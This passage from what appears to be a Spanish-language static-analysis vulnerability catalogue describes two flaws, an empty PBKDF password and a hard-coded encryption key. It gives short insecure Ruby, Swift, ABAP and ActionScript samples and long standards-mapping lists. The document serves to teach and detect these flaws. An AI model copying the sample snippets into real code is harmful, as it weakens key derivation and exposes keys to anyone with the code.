[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.

Ejemplo 2: Algunas API de nivel inferior pueden requerir pasar la longitud de determinados argumentos, además de los valores de los argumentos, de manera que una función pueda leer el valor del argumento como un número de bytes consecutivos, empezando por la ubicación del argumento en la memoria. El siguiente código pasa a cero como el argumento de longitud de contraseña a una PBKDF criptográfica:


...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...


En este caso, incluso si password contiene un valor de contraseña seguro y administrado adecuadamente, al pasar su longitud como cero se obtendrá un valor de contraseña vacío, null o con alguna otra debilidad inesperada.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_pbe_password
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
encryptionKey = "lakdsljkalkjlksdfkl".
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.abap.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
var encryptionKey:String = "lakdsljkalkjlksdfkl";
var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
...
var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
